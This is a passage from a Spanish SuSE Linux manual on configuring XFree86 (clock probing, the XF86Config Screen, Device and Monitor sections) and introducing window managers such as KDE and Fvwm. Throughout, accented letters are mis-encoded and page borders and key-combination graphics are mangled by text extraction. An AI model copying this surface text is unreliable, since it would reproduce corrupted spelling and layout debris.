  16411. Clock-Chip,  por  lo  que  el  valor  del  Clock  2  puede  ser  diferente  cuando  se
  16412. efect·a la prueba (valor que se apunta en XF86Config) al valor del momento
  16413. de  arrancar  el  servidor  X.  De  este  modo  todos  los  Timings  son  falsos  y  el
  16414. monitor se puede da±ar.
  16415.  
  16416. Un  buen  indicio  para  un  Clock-Chip  programable  y  sus  problemas  son
  16417. muchos  ceros  en  los  valores  del  Timing  o  valores  que  continuamente  se
  16418. repiten. íEn ning·n caso se deben introducir valores semejantes en el fichero
  16419. XF86Config!
  16420.  
  16421. Para determinar el Clock-Chip o el Clock-Timing se puede usar la siguiente
  16422. estrategia:
  16423.  
  16424.   o   Lo mejor es indicar un Clock-Chip programable si es que existe sobre la
  16425.       tarjeta. En este caso se programa correctamente y el fichero XF86Config
  16426.       no contendrφa ninguna referencia a los Clocks. Otra posibilidad es la com-
  16427.       paraci≤n de los circuitos (chips) que hay sobre la tarjeta con los Clock-
  16428.       Chips que se ofrecen en el men·, para averiguar asφ el que coincide. Casi
  16429.       todas las tarjetas modernas del tipo S3 llevan un Clock-Chip programable.
  16430.   o   Si no tiene ning·n Clock-Chip programable sobre la tarjeta, lo mejor es
  16431.       ejecutar X  -probeonly           y comparar los valores encontrados con los del
  16432.       manual de la tarjeta (la computadora no debe correr ning·n otro progra-
  16433.       ma). Si estos mßs o menos coinciden ( 2), anote los valores en el fichero
  16434.       XF86Config.
  16435.       Si no es posible comparar los valores, compruebe la validez de los mismos
  16436.       (muchos  ceros  o  valores  que  se  repiten  continuamente  indican  valores
  16437.       no vßlidos).  Anote los valores vßlidos a mano en XF86Config, pero no
  16438.       suprima ning·n valor ni intente reordenar o modificar de alguna manera
  16439.       los mismos. Hay que apuntar los valores en el mismo orden de aparici≤n.
  16440.       Usando el servidor P9000 se introduce sencillamente, para cada modo, el
  16441.       clock deseado en la lφnea Clocks      .  El orden de los modos no es impor-
  16442.       tante.
  16443.   o   Siempre es vßlido: Cuando el Clock-Chip es programable no debe existir
  16444.       ninguna lφnea de Clocks       en XF86Config (Excepci≤n: P9000).
  16445.       Al contrario, cuando el Clock-Chip no es programable, sφ que debe haber
  16446.       una  lφnea  de  Clocks       en  XF86Config.   Asφ  se  evita  la  determinaci≤n
  16447.       automßtica pesada y tal vez peligrosa de los Clocks en cada arranque del
  16448.       sistema X Window.  Ademßs en caso de tarjetas que no permiten leer los
  16449.       Clocks no aparecen valores falsos y asφ no habrß riesgo para el monitor.
  16450.  
  16451. Para  probar  ahora  los  Clocks  (tener  en  cuenta  los  pßrrafos  anteriores),  se
  16452. contesta la siguiente pregunta con `y':
  16453.  
  16454.  
  16455.                                                                                                                                    *
  16456.  *   255
  16457. 8.  El sistema X Window____________________________________________________________________________________________________________*
  16458.  *_______________________________________@
  16459.  
  16460.  
  16461.  
  16462.                                  Do  you  want  me  to  run  `X  -probeonly'  now?
  16463.                            La  pantalla  se  obscurece  por  un  momento  y  despuΘs  aparece  una  lista  con
  16464.                            los Clocks determinados o, un mensaje advirtiendo que no se ha encontrado
  16465.                            ning·n Clock.  Si se ha definido un Clock-Chip con anterioridad no aparece
  16466.                            la pregunta sobre ejecutar X -probeonly , ya que los Clocks se programarßn
  16467.                            automßticamente.  En este caso aparece directamente la pr≤xima opci≤n de
  16468.                            configuraci≤n.
  16469.                            ________________________________________________________________________________________________________*
  16470.  *________||
  16471.                            |  íSi ha contestado la ·ltima pregunta con `y' y la pantalla se queda obscura                          *
  16472.  *        ||||
  16473.                            |                                                                                                       *
  16474.  *        |||
  16475.                            |  por  mßs  de  30  segundos,  debe  terminar  en  todo  caso  la  fase  de  prueba                    *
  16476.  *        |||
  16477.                            |  con |C______|trl+|A____l|t+| ____7|o!|C______|trl+|c_ |!  Si no queda mßs remedio apague el          *
  16478.  *        |||
  16479.                            |        ______       ____      ____      ______       _                                                *
  16480.  *        |||
  16481.                            |  monitor y la computadora para no poner en peligro estos componentes.                                 *
  16482.  *        |||
  16483.                            |_______________________________________________________________________________________________________*
  16484.  *________|||_
  16485.  
  16486.  
  16487.                            Guardar la configuraci≤n
  16488.  
  16489.                            Ahora se ha terminado la configuraci≤n pero el fichero de configuraci≤n a·n
  16490.                            no  estß  guardado.   Lo  mejor  es  guardar  el  fichero  de  configuraci≤n  de  X-
  16491.                            Window XF86Config en el directorio /etc.  Asφ se asegura tambiΘn en una
  16492.                            red  que  cada  computadora  lleve  su  ''propia''  configuraci≤n,  incluso  cuando
  16493.                            varias computadoras comparten el ßrbol /usr.
  16494.  
  16495.                            Indique entonces `/etc/XF86Config' como destino del fichero de config-
  16496.                            uraci≤n.  Con esto se termina el programa xf86config  y la configuraci≤n del
  16497.                            sistema X Window.
  16498.  
  16499.  
  16500.  
  16501.                            8.3       Optimizaci≤n de la instalaci≤n del sistema X Window
  16502.  
  16503.                            Los programas XF86Setup y xf86config generan el fichero XF86Config y lo
  16504.                            escriben generalmente al directorio /etc. Este es el fichero de configuraci≤n
  16505.                            principal  del  X  Window  System  que  contiene  las  definiciones  de  mouse,
  16506.                            monitor y tarjeta de vφdeo.
  16507.  
  16508.                            XF86Config se compone de varios pßrrafos, llamados ''secciones'' (ingl. sec-
  16509.                            tions) y cada una contempla un determinado aspecto de la configuraci≤n. Ca-
  16510.                            da secci≤n tiene la forma:
  16511.  
  16512.                                  Section  <Denominador  de  secci≤n>
  16513.                                     definici≤n  1
  16514.                                     definici≤n  2
  16515.                                     definici≤n  n
  16516.                                  EndSection
  16517.                            Existen los siguientes tipos de secciones:
  16518.  
  16519.                             _______________________________________________________________________________________________________*
  16520.  *_________
  16521.  
  16522.                               Files                     Esta secci≤n describe los path (las ramas) para los jue-
  16523.                                                         gos de caracteres y la tabla de colores RGB.
  16524.                               ServerFlags               Aquφ se apuntan indicadores generales (ingl. flags).
  16525.  
  16526.  
  16527.  
  16528.                             _______________________________________________________________________________________________________*
  16529.  *_________
  16530.  
  16531.                                                    Tabla 8.1: Contin·a en la pßgina siguiente ...
  16532.  
  16533.  
  16534.  
  16535. 256
  16536.        __________________________________________8.3.__Optimizaci≤n_de_la_instalaci≤n_del_sistema_X_Window_________________________*
  16537.  *______________________
  16538.  
  16539.        ______________________________________________________________________________________________________________________
  16540.  
  16541.  
  16542.    Keyboard                  Sirve para la descripci≤n del teclado y del driver usado.
  16543.                              Para Linux solo puede ser Device       "Standard".
  16544.    Pointer                   Contiene  las  definiciones  necesarias  para  el  dispositi-
  16545.                              vo apuntador, que es generalmente un mouse pero tam-
  16546.                              biΘn podrφa ser un lßpiz fotosensible (ingl. LightPen) o
  16547.                              una tableta grßfica. Las indicaciones importantes son el
  16548.                              Protocol        y el Device      .
  16549.    Monitor                   Descripci≤n del monitor usado.  Los elementos de es-
  16550.                              ta secci≤n son un nombre,  que sirve mßs tarde de ref-
  16551.                              erencia  en  la  definici≤n  del  Screen       tal  como  el  val-
  16552.                              or  de  la  anchura  de  banda  (Bandwidth  [MHz]             )  y  de
  16553.                              las frecuencias de sincronizaci≤n (HorizSync  [kHz]              y
  16554.                              VertRefresh  [Hz]              ).  El servidor ''rechaza'' cualquier
  16555.                              Modeline que no cumple con la especificaci≤n del mon-
  16556.                              itor. Haciendo esto se evita mandar al monitor frecuen-
  16557.                              cias demasiado altas cuando se estßn manipulando los
  16558.                              Modelines.
  16559.    Device                    Esta secci≤n define una determinada tarjeta grßfica cuya
  16560.                              referencia es el nombre dado aquφ.
  16561.    Screen                    Esta  secci≤n  une  finalmente  un  Driver      (p. ej.  vga2     o
  16562.                              accel     ),  con  un  Monitor        y  un  Device       para  formar
  16563.                              asφ las indicaciones necesarias para XFree86.  La sub-
  16564.                              secci≤n  Display       permite  la  definici≤n  de  un  tama±o
  16565.                              de pantalla virtual (Virtual       ),  del ViewPort         y de los
  16566.                              Modes     usados con este Screen      .
  16567.  
  16568.        ______________________________________________________________________________________________________________________
  16569.  
  16570.              Tabla 8.1: Secciones (ingl. sections) en /etc/XF86Config
  16571. Aquφ se contemplan mßs de cerca las secciones Monitor      , Device      y Screen      .
  16572. En la pßgina del manual de XF86Config          (man  XF86Config            ) hay mßs infor-
  16573. maci≤n sobre las demßs secciones.
  16574.  
  16575. En  el  fichero  XF86Config  pueden  aparecer  varias  secciones  de  los  tipos
  16576. Monitor        y Device      .  TambiΘn se pueden usar varias secciones Screen       cuyo
  16577. uso depende del servidor X usado.
  16578.  
  16579.  
  16580. Screen-Section
  16581.  
  16582. Primero queremos contemplar de cerca la secci≤n de Screen      .  Esta une una
  16583. secci≤n de Monitor y de Device y determina cußl resoluci≤n se proporciona
  16584. con cußl profundidad de color.
  16585.  
  16586. Una secci≤n del tipo Screen puede parecerse p. ej.  a la del fichero 8.3.1 en la
  16587. pßgina siguiente.
  16588.  
  16589. Con la lφnea de driver se determina para cußl servidor X vale la definici≤n. Los
  16590. distintos servidores que se encuentran en la lista de la en la pßgina 252Tarjeta
  16591. de vφdeo/servidor XHfootnote.43 se indican con las claves en la tabla 8.2 en
  16592. la pßgina siguiente.
  16593.  
  16594.  
  16595.                                                                                                                                    *
  16596.  *   257
  16597. 8.  El sistema X Window____________________________________________________________________________________________________________*
  16598.  *_______________________________________@
  16599.                            |                                                                                                       *
  16600.  *         |
  16601.                            ________________________________________________________________________________________________________*
  16602.  *________||||
  16603.                            |   Section  "Screen"                                                                                   *
  16604.  *         |
  16605.                            ||        DriverDevice    "accel""Miro  Crystal  40SV"                                                  *
  16606.  *         ||
  16607.                            |         Monitor        "EIZO  T563-T"                                                                 *
  16608.  *         |
  16609.                            |                                                                                                       *
  16610.  *         |
  16611.                            |         DefaultColorDepth   16                                                                        *
  16612.  *         |
  16613.                            |         Subsection   "Display"                                                                        *
  16614.  *         |
  16615.                            |               Depth           8                                                                       *
  16616.  *         |
  16617.                            |               Modes           "1024x768"  "800x600"  "640x480"                                        *
  16618.  *         |
  16619.                            |                                                                                                       *
  16620.  *         |
  16621.                            |               ViewPort      0  0                                                                      *
  16622.  *         |
  16623.                            |               Virtual        1024  768                                                                *
  16624.  *         |
  16625.                            |         EndSubsection                                                                                 *
  16626.  *         |
  16627.                            |         Subsection  "Display"                                                                         *
  16628.  *         |
  16629.                            |                                                                                                       *
  16630.  *         |
  16631.                            |               Depth           16                                                                      *
  16632.  *         |
  16633.                            |               Modes           "1280x960"  "1152x864"  "1024x768"  "800x600"                           *
  16634.  *         |
  16635.                            |               ViewPort      0  0                                                                      *
  16636.  *         |
  16637.                            |               Virtual        1280  960                                                                *
  16638.  *         |
  16639.                            |                                                                                                       *
  16640.  *         |
  16641.                            |         EndSubsection                                                                                 *
  16642.  *         |
  16643.                            |         Subsection  "Display"                                                                         *
  16644.  *         |
  16645.                            |               Depth           32                                                                      *
  16646.  *         |
  16647.                            |               Modes           "1024x768"  "800x600"  "640x480"                                        *
  16648.  *         |
  16649.                            |                                                                                                       *
  16650.  *         |
  16651.                            |               ViewPort      0  0                                                                      *
  16652.  *         |
  16653.                            |               Virtual        1024  768                                                                *
  16654.  *         |
  16655.                            |         EndSubsection                                                                                 *
  16656.  *         |
  16657.                            |   EndSection                                                                                          *
  16658.  *         |
  16659.                            |_______________________________________________________________________________________________________*
  16660.  *________ |
  16661.  
  16662.                                     Fichero 8.3.1: La secci≤n Screen del fichero /etc/XF86Config
  16663.  
  16664.  
  16665.                             _______________________________________________________________________________________________________*
  16666.  *_________
  16667.  
  16668.                               Accel         Para los servidores especiales acelerados
  16669.                               Mono          Servidor no VGA de 1 y 4 bit
  16670.                               SVGA          Servidor Super VGA
  16671.                               VGA2          Servidor VGA monocromßtico (1 bit)
  16672.                               VGA16         Servidor VGA de 4 bit
  16673.  
  16674.                             _______________________________________________________________________________________________________*
  16675.  *_________
  16676.  
  16677.                                       Tabla 8.2: Claves para los servidores X en /etc/XF86Config
  16678.                            En el fichero XF86Config se puede encontrar para cada servidor usado una
  16679.                            secci≤n de Screen, que se usa cuando se inicia el correspondiente servidor.
  16680.  
  16681.                            Las pr≤ximas dos lφneas, Device       y Monitor       , determinan la tarjeta de vφdeo
  16682.                            y el monitor que corresponden a la definici≤n.  No son mßs que indicadores,
  16683.                            que  apuntan  a  las  secciones  de  Device  y  de  Monitor  con  los  nombres  que
  16684.                            coinciden. Estas secciones son objeto de discusi≤n mßs adelante.
  16685.  
  16686.                            La variable DefaultColorDepth                indica la profundidad de color por defecto
  16687.                            que usa el servidor cuando arranca sin definici≤n explφcita de ella.
  16688.  
  16689.  
  16690. 258
  16691.        __________________________________________8.3.__Optimizaci≤n_de_la_instalaci≤n_del_sistema_X_Window_________________________*
  16692.  *______________________
  16693.  
  16694.  
  16695.  
  16696. Para cada profundidad de color prosigue una subsecci≤n de Display      . La pro-
  16697. fundidad de color de cada subsecci≤n se define por la palabra clave Depth     .
  16698. Los valores posibles para Depth      son 8, 15, 16, 24 y 32.  No todos los servi-
  16699. dores X soportan todos los valores y 24 y 32 son equivalentes para muchas tar-
  16700. jetas; algunas lo diferencian y seleccionan el modo ''packed-pixel'' de 24bpp
  16701. cuando se indica el valor 24 y el modo ''padded-pixel'' de 24bpp cuando se
  16702. indica el valor 32.
  16703.  
  16704. DespuΘs de la definici≤n de profundidad de color se define con Modes      una
  16705. lista de resoluciones. El servidor X pasa por esta lista de izquierda a derecha.
  16706. Para cada una de las resoluciones listadas, el servidor busca en la secci≤n de
  16707. monitor un Modeline        adecuado, que corresponde con un Clock-Rate anotado
  16708. en la secci≤n de monitor o con un Clock-Rate que se puede programar.
  16709.  
  16710. La primera resoluci≤n adecuada en este sentido es la que usa el servidor_X    ____       _________
  16711. para arrancar el ''Default-Mode           ''.  Con las teclas_|C______|trl+_|A____l|t+_|g_________|risse+_
  16712. puede ir en la lista de resoluciones a la derecha y con |C______|trl+ |A____l|t+ |g_________|ris  -
  16713. a la izquierda5 .  Asφ se puede modificar la resoluci≤n en pantalla durante el
  16714. tiempo de ejecuci≤n del sistema X Window.
  16715.  
  16716. Las ·ltimas dos lφneas de las subsecciones se refieren al tama±o de la pantalla
  16717. virtual y el punto de anclaje de la parte visible en ella.  El tama±o de la pan-
  16718. talla virtual depende de la cantidad de memoria instalada y de la profundidad
  16719. de color deseada pero no depende de la resoluci≤n mßxima del monitor. Si la
  16720. tarjeta tiene p. ej.  1 MB Video RAM, entonces la pantalla virtual puede ser de
  16721. hasta 1024x1024 puntos a una profundidad de color de 8 Bit.  Para los servi-
  16722. dores X acelerados no se recomienda de ninguna manera usar todo el espacio
  16723. de memoria disponible para la pantalla virtual, ya que estos servidores usan
  16724. la zona de memoria no usada de la tarjeta para diferentes caches de juegos de
  16725. caracteres y de zonas de grßficos.
  16726.  
  16727. El tama±o de la pantalla virtual se indica con Virtual       .
  16728.  
  16729. Con  Viewport         se  determina  el  asφ  llamado  Viewport  (marco  de  visual-
  16730. izaci≤n).   Este  es  el  punto  en  el  cual  la  esquina  superior  izquierda  de  la
  16731. pantalla fφsicamente visible se introduce en la pantalla virtual.  La indicaci≤n
  16732. 0  0    significa  que  las  dos  esquinas  superiores  izquierdas  se  superponen  en
  16733. un principio.  La parte visible de la pantalla se mueve encima de la pantalla
  16734. virtual  moviendo  el  mouse  al  marco  de  la  pantalla  visible.   Esto  significa
  16735. que el ''Viewport'' solo es importante en el momento de arrancar el sistema
  16736. X Window y solo cuando el tama±o de la pantalla virtual no coincide con la
  16737. resoluci≤n real.
  16738.  
  16739.  
  16740.  
  16741. Device-Section
  16742.  
  16743.  
  16744. Una secci≤n de dispositivo (ingl. Device-Section), describe una determinada
  16745. tarjeta grßfica.  Puede haber una cantidad infinita de secciones de dispositivo
  16746. en  XF86Config  mientras  que  sus  nombres,  indicados  con  la  palabra  clave
  16747. Identifier          , se distinguen.
  16748. 5      ____________________________________________________
  16749.    ''Gris'' indica aquφ que se trata de teclas del bloque numΘrico, ya que estas se resaltan a veces
  16750. en color gris.
  16751.  
  16752.  
  16753.                                                                                                                                    *
  16754.  *   259
  16755. 8.  El sistema X Window____________________________________________________________________________________________________________*
  16756.  *_______________________________________@
  16757.  
  16758.  
  16759.  
  16760.                            Una  descripci≤n  detallada  ~  solo  en  InglΘs  ~  de  la  secci≤n  de  dispositi-
  16761.                            vo,  se  encuentra  en  /usr/X11/lib/X11/doc  y  la  pßgina  del  manual  de
  16762.                            XF86Config          (man  XF86Config            ).
  16763.  
  16764.                            El fichero /usr/X11R6/lib/X11/doc/Devices contiene una colecci≤n de
  16765.                            secciones de dispositivo.  Usando alguna de las tarjetas mencionadas allφ, lo
  16766.                            mejor es copiar la correspondiente secci≤n al fichero /etc/XF86Config y
  16767.                            adaptar allφ la secci≤n Screen indicando el Device que corresponde.
  16768.  
  16769.                            Si  la  tarjeta  en  cuesti≤n  no  se  encuentra  listada  en  Θste,  no  significa  que
  16770.                            XFree86 no la soporte; en realidad solo significa que a·n nadie ha enviado una
  16771.                            secci≤n de dispositivo al XFree86-Team. La lista de las tarjetas soportadas se
  16772.                            encuentra en el directorio /usr/X11/lib/X11/doc en el fichero README y
  16773.                            hay mßs detalles sobre ellas en AccelCards.
  16774.  
  16775.  
  16776.                            Monitor-Section
  16777.  
  16778.                            Las  secciones  de  monitor  describen,  tal  como  las  de  Device,  un  monitor
  16779.                            por  cada  secci≤n  y  puede  haber  una  cantidad  infinita  de  estas  secciones  en
  16780.                            /etc/XF86Config.  En la secci≤n de Screen se determina cußl secci≤n de
  16781.                            monitor vale a efectos de la configuraci≤n.
  16782.  
  16783.                            Solo usuarios muy experimentados deberφan generar o ajustar una secci≤n de
  16784.                            Monitor al igual que una secci≤n de tarjeta grßfica.  Una parte fundamental
  16785.                            de las secciones de monitor son los ''Modelines'' que indican las sincroniza-
  16786.                            ciones (ingl. timings) horizontales y verticales para cada resoluci≤n.
  16787.                            ________________________________________________________________________________________________________*
  16788.  *________||
  16789.                            |  íSin un buen conocimiento de la funci≤n de monitor y de tarjeta grßfica                              *
  16790.  *        ||||
  16791.                            |  no se deberφa cambiar ning·n valor de los Modelines, ya que esto podrφa                              *
  16792.  *        |||
  16793.                            |                                                                                                       *
  16794.  *        |||
  16795.                            |  provocar la destrucci≤n del monitor!                                                                 *
  16796.  *        |||
  16797.                            |_______________________________________________________________________________________________________*
  16798.  *________|||_
  16799.  
  16800.                            Si realmente se atreve a hacer sus propias configuraciones de monitor, deberφa
  16801.                            leer  antes  la  documentaci≤n  en  /usr/X11/lib/X11/doc.   Se  recomienda
  16802.                            especialmente la lectura de [FCR93      ] que explica detalladamente la funci≤n
  16803.                            del hardware y la definici≤n de los Modelines.
  16804.  
  16805.                            Las secciones de monitor preconfiguradas y listas para su uso en XF86Config
  16806.                            se encuentran en el fichero /usr/X11/lib/X11/Monitors. Si se quiere usar
  16807.                            un monitor que no figura allφ, se recomienda usarlo con las sincronizaciones
  16808.                            VESA estßndar tal como se indica en la secci≤n monitor del fichero de con-
  16809.                            figuraci≤n que generan XF86Setup y xf86config . En este caso es importante
  16810.                            que los valores para frecuencia horizontal y vertical estΘn indicados correcta-
  16811.                            mente.
  16812.  
  16813.                            Con gusto se incorporan configuraciones nuevas y comprobadas a la lista de
  16814.                            las ya existentes, proporcionßndolas a SuSE     GmbH o al XFree86-Team.
  16815.  
  16816.  
  16817. 260
  16818.  
  16819.                                                                                                            Capφtulo  9
  16820.                                                        El   Windowmanager   ~
  16821.  
  16822.  
  16823.  
  16824.                                                                 La   ventana   a   su   PC
  16825.  
  16826.  
  16827. Una vez configurado el servidor X, queremos disfrutar de un escritorio colori-
  16828. do, con ventanas, men·s y todos los demßs detalles que forman un ''verdadero
  16829. escritorio''.  ~ Este capφtulo sobre los gestores de ventanas (WM) abarca los
  16830. siguientes temas:
  16831.  
  16832.   o   El gestor de ventanas ~ sus tareas
  16833.  
  16834.   o   KDE  ~ el K Desktop Environment
  16835.  
  16836.   o   Fvwm2  ~ un gestor clßsico de Linux
  16837.  
  16838.   o   SuSEwm ~ la vφa elegante para la configuraci≤n propia
  16839.  
  16840.   o   La prßctica ~ Afinar diversos ajustes
  16841.  
  16842. Es posible que se quiera comenzar directamente con la prßctica, pero es mejor
  16843. tener una idea bßsica de la teorφa que se presenta a continuaci≤n.
  16844.  
  16845.  
  16846. 9.1       Teorφa sobre el entorno grßfico
  16847.  
  16848.  
  16849. 9.1.1      Estructura del sistema X Window
  16850.  
  16851. En comparaci≤n a los +  entornos grßficos monolφticos, como p. ej.  Windows
  16852. u OS/2, en Linux y Unix las distintas capas funcionales estßn separadas.  A
  16853. primera vista esto complica el manejo, pero finalmente brinda mßs flexibil-
  16854. idad y el sistema ofrece prestaciones mßs altas, especialmente respecto a la
  16855. potencia.
  16856.  
  16857. La primera capa es el sistema operativo, que se encarga de la tareas ''triviales'',
  16858. como p. ej.  la administraci≤n de la memoria.
  16859.  
  16860. Por encima de esa capa estß el +   X-Server (sistema X Window) que corre-
  16861. sponde  a  lo  que  se  denomina  ''driver''  en  otros  sistemas.   En  Linux  se  es-
  16862. tablece una capa transparente por debajo del entorno grßfico que permite el
  16863. acceso  distribuido  a  los  servicios  de  un  servidor-X  a  travΘs  de  toda  la  red
  16864. (tambiΘn Internet). Las tareas concretas del servidor-X son:
  16865.  
  16866.   o   acceso a la tarjeta grßfica
  16867.  
  16868.   o   Dibujar puntos, lφneas, rectßngulos y texto
  16869.  
  16870.   o   Distribuci≤n de este servicio a la computadora local y a travΘs de toda la
  16871.       red.
  16872.  
  16873.  
  16874.                                                                                                                                    *
  16875.  *   261
  16876. 9.  El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
  16877.  *_______________________________________@
  16878.  
  16879.  
  16880.  
  16881.                            Probablemente la mayorφa de los usuarios usan un servidor-X localmente (o
  16882.                            sea, solo en la computadora de sobremesa), sin embargo, la capacidad de uso
  16883.                            en red representa siempre una gran ventaja. Ademßs se obtiene una interface
  16884.                            estandarizada sin restricciones sobre el dise±o del entorno grßfico.  Solo asφ
  16885.                            es posible que todos los programas se visualicen dentro de todos los entornos
  16886.                            desarrollados.
  16887.  
  16888.                            Aprovechando  las  redes  es  p. ej.posible  ejecutar  una  aplicaci≤n  en  la  com-
  16889.                            putadora del despacho y visualizarla completamente con el PC en casa.  En
  16890.                            tal caso es posible visualizar una sola tarea concreta o todo el escritorio en
  16891.                            la computadora remota.  Ademßs el tipo de hardware y el sistema operativo
  16892.                            ya no importan, mientras que haya soporte para X11.  Otro ejemplo: no hace
  16893.                            falta sentarse directamente al lado de la estaci≤n de trabajo, que es igual de
  16894.                            potente como ruidosa, sino que se puede trabajar tranquilamente en la com-
  16895.                            putadora mßs sencilla de su despacho mientras las aplicaciones se ejecutan en
  16896.                            la estaci≤n de trabajo. Linux como sistema operativo multiusuario soporta el
  16897.                            trabajo simultaneo de varios usuarios en una sola computadora, mientras los
  16898.                            usuarios se conectan con una X terminal (una peque±a computadora sin disco
  16899.                            duro que se inicia a travΘs de la red).
  16900.  
  16901.                            Los servicios del gestor de ventanas se encargan de convertir los rectßngulos
  16902.                            ~ como elementos bßsicos ~ en ventanas o men·s movibles.
  16903.  
  16904.                            Las  ventanas  son  importantes  porque  permiten  ejecutar  y  visualizar  varias
  16905.                            aplicaciones  al  mismo  tiempo  y  proporcionan  men·s  para  interactuar  c≤-
  16906.                            modamente con la computadora.
  16907.  
  16908.                            El gestor de ventanas representa entonces una capa adicional entre el servidor
  16909.                            X, las aplicaciones y el usuario, como lo muestra la figura 9.1.  Ademßs los
  16910.                            desarrolladores de aplicaciones-X pueden acceder directamente a X.
  16911.  
  16912.                                                         ____________________________________________________||||
  16913.                                                         |                                                    |
  16914.                                                         |                                                    |
  16915.                                                         |                                                    |
  16916.                                                         |                                                    |
  16917.                                                         |                                                    |
  16918.                                                         |                                                    |
  16919.                                                         |                                                    |
  16920.                                                         |                                                    |
  16921.                                                         |                                                    |
  16922.                                                         |                                                    |
  16923.                                                         |                                                    |
  16924.                                                         |                                                    |
  16925.                                                         |                                                    |
  16926.                                                         |                                                    |
  16927.                                                         |                                                    |
  16928.                                                         |                                                    |
  16929.                                                         |                                                    |
  16930.                                                         |                                                    |
  16931.                                                         |___________________________________________________ |
  16932.  
  16933.                                                Figura 9.1: Capas del entorno grßfico bajo Linux
  16934.  
  16935.  
  16936.                            Linux  conoce  diferentes  gestores  de  ventana  (ingl.  windowmanager).   Hay
  16937.                            que  distinguir  entre  los  gestores  puros  y  los  entornos  grßficos  (escritorios)
  16938.                            (ingl.  Desktop  Environments).   Los  primeros  se  restringen  a  la  gesti≤n  de
  16939.                            las ventanas,  mientras que los escritorios incorporan una cierta cantidad de
  16940.                            aplicaciones con una apariencia y un manejo uniforme.
  16941.  
  16942.                            SuSE     Linux incorpora los siguientes gestores de ventana:
  16943.  
  16944.  
  16945. 262
  16946.        _____________________________________________________________________________9.1.__Teorφa_sobre_el_entorno_grßfico__________*
  16947.  *______________________
  16948.  
  16949.  
  16950.  
  16951.   o   Fvwm ~ para mucho tiempo el windowmanager de Linux
  16952.   o   Fvwm95  ~ parecido a Windows 95
  16953.  
  16954.   o   AfterStep ~ con la apariencia de NeXTSTEP
  16955.  
  16956.   o   WindowMaker ~ igual, pero totalmente reescrito
  16957.  
  16958.   o   Enlightenment  ~ muy equipado
  16959.  
  16960.   o   Ctwm ~ gestor de ventanas sin adornos
  16961.  
  16962.   o   Olvwm ~ OpenLook  Virtual Windowmanager, para aquellos que prefier-
  16963.       an algo especial.
  16964.  
  16965. Otros gestores de ventana se encuentran en la serie xwm.  Hay una serie de
  16966. gestores  a  base  de  Fvwm  que  se  configuran  de  forma  parecida.   Estos  son
  16967. Fvwm  en las versiones 1, 2.0 y 2.2 tal como AfterStep , Bowman , cdesim  y
  16968. Fvwm95 .
  16969.  
  16970. Ademßs existen los siguientes entornos grßficos:
  16971.  
  16972.   o   KDE  ~ K Desktop Environment (estßndar en SuSE     Linux)
  16973.  
  16974.   o   GNOME  ~ GNU Network Object Model Environment
  16975.  
  16976.   o   XFce ~ Una copia del entorno comercial CDE
  16977.  
  16978. La decisi≤n sobre el gestor de ventanas depende bßsicamente del gusto per-
  16979. sonal,  de  las  funciones  que  se  necesitan  y  de  la  potencia  de  hardware  que
  16980. se  dispone.   Especialmente  en  cuanto  al  gasto  de  memoria  pueden  existir
  16981. diferencias  substanciales.   Para  usar  c≤modamente  un  entorno  como  KDE
  16982. o GNOME  se requiere un mφnimo de 64 MB de memoria RAM. Ademßs de
  16983. la apariencia, los gestores de ventana se distinguen tambiΘn en cuanto a las
  16984. posibilidades de configuraci≤n y de ampliaci≤n.  Las figuras 9.2 hasta figu-
  16985. ra  9.5  muestran  cuatro  ejemplos  de  decoraci≤n  de  ventanas.   La  figura  9.2
  16986. muestra el servidor X sin ning·n gestor de ventanas en ejecuci≤n iniciado; no
  16987. existen marcos para modificar el tama±o de la ventana o su posici≤n.
  16988.  
  16989.  
  16990.        Figura 9.2: Sin decoraci≤n de ventana ~ X11 sin gestor de ventanas
  16991.                   Figura 9.3: Decoraci≤n de ventana del kwm de KDE
  16992.  
  16993.  
  16994. No hay inconveniente en instalar (paralelamente) diferentes gestores de ven-
  16995. tana, probarlos, decidirse por uno y despuΘs adaptar el gestor de ventana o el
  16996. entorno seleccionado seg·n necesidades y/o gusto.  Por defecto se instala el
  16997. entorno KDE .
  16998.  
  16999.  
  17000.                                                                                                                                    *
  17001.  *   263
  17002. 9.  El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
  17003.  *_______________________________________@
  17004.  
  17005.  
  17006.                                                   Figura 9.4: Decoraci≤n de ventana de Fvwm
  17007.  
  17008.  
  17009.  
  17010.                                             Figura 9.5: Decoraci≤n de ventana de WindowMaker
  17011.  
  17012.  
  17013.                            ________________________________________________________________________________________________________*
  17014.  *________
  17015.                            |  Finalmente un consejo: La mayor parte de la informaci≤n de este capφtulo                             *
  17016.  *        |||
  17017.                            |                                                                                                       *
  17018.  *        |||
  17019.                            |  se refieren a Fvwm2  o KDE . íSi a·n no estß decidido, elija uno de estos!                           *
  17020.  *        |||
  17021.                            |_______________________________________________________________________________________________________*
  17022.  *________|||_
  17023.  
  17024.  
  17025.                            9.1.2      ┐QuΘ administra el ''windowmanager''?
  17026.  
  17027.                            A continuaci≤n una lista breve (e incompleta) de la influencia que puede tener
  17028.                            el  gestor  de  ventanas  sobre  el  comportamiento  y  la  apariencia  del  entorno
  17029.                            grßfico:
  17030.  
  17031.                              o   Apariencia de las ventanas
  17032.  
  17033.                                  ~   Anchura, color, y efectos 3D del marco
  17034.  
  17035.                                  ~   Barras de desplazamiento, botones de cerrar, abrir y ampliar, tφtulo de
  17036.                                      la ventana y su fuente.
  17037.  
  17038.                              o   Superposici≤n de ventanas
  17039.  
  17040.                                  ~   Comportamiento de la ventana al ejecutar p. ej.  AutoRaise (la aparien-
  17041.                                      cia automßtica en el primer plano)
  17042.  
  17043.                                  ~   Clavar ventanas
  17044.  
  17045.                              o   Activar una ventana
  17046.  
  17047.                                  ~   seleccionando con un ''click''
  17048.  
  17049.                                  ~   ''tocando'' con la flecha del mouse
  17050.  
  17051.                              o   Men·s desplegables
  17052.  
  17053.                                  ~   Apariencia de los men·s (color, fuente)
  17054.  
  17055.                                  ~   Comportamiento de los men·s y sub-men·s
  17056.  
  17057.                              o   Fondo de pantalla
  17058.  
  17059.                              o   Escritorio virtual (varios escritorios/pantallas)
  17060.  
  17061.                              o   Administraci≤n de iconos
  17062.  
  17063.                              o   Combinaci≤n de sonidos con eventos en el directorio
  17064.  
  17065.                            Son  pocos  los  WM  bajo  UNIX  o  Linux  que  ofrecen  un  programa  de  con-
  17066.                            figuraci≤n grßfico e ''intuitivo'',  para configurar y administrar las funciones
  17067.  
  17068.  
  17069. 264
  17070.        _____________________________________________________________________________9.1.__Teorφa_sobre_el_entorno_grßfico__________*
  17071.  *______________________
  17072.  
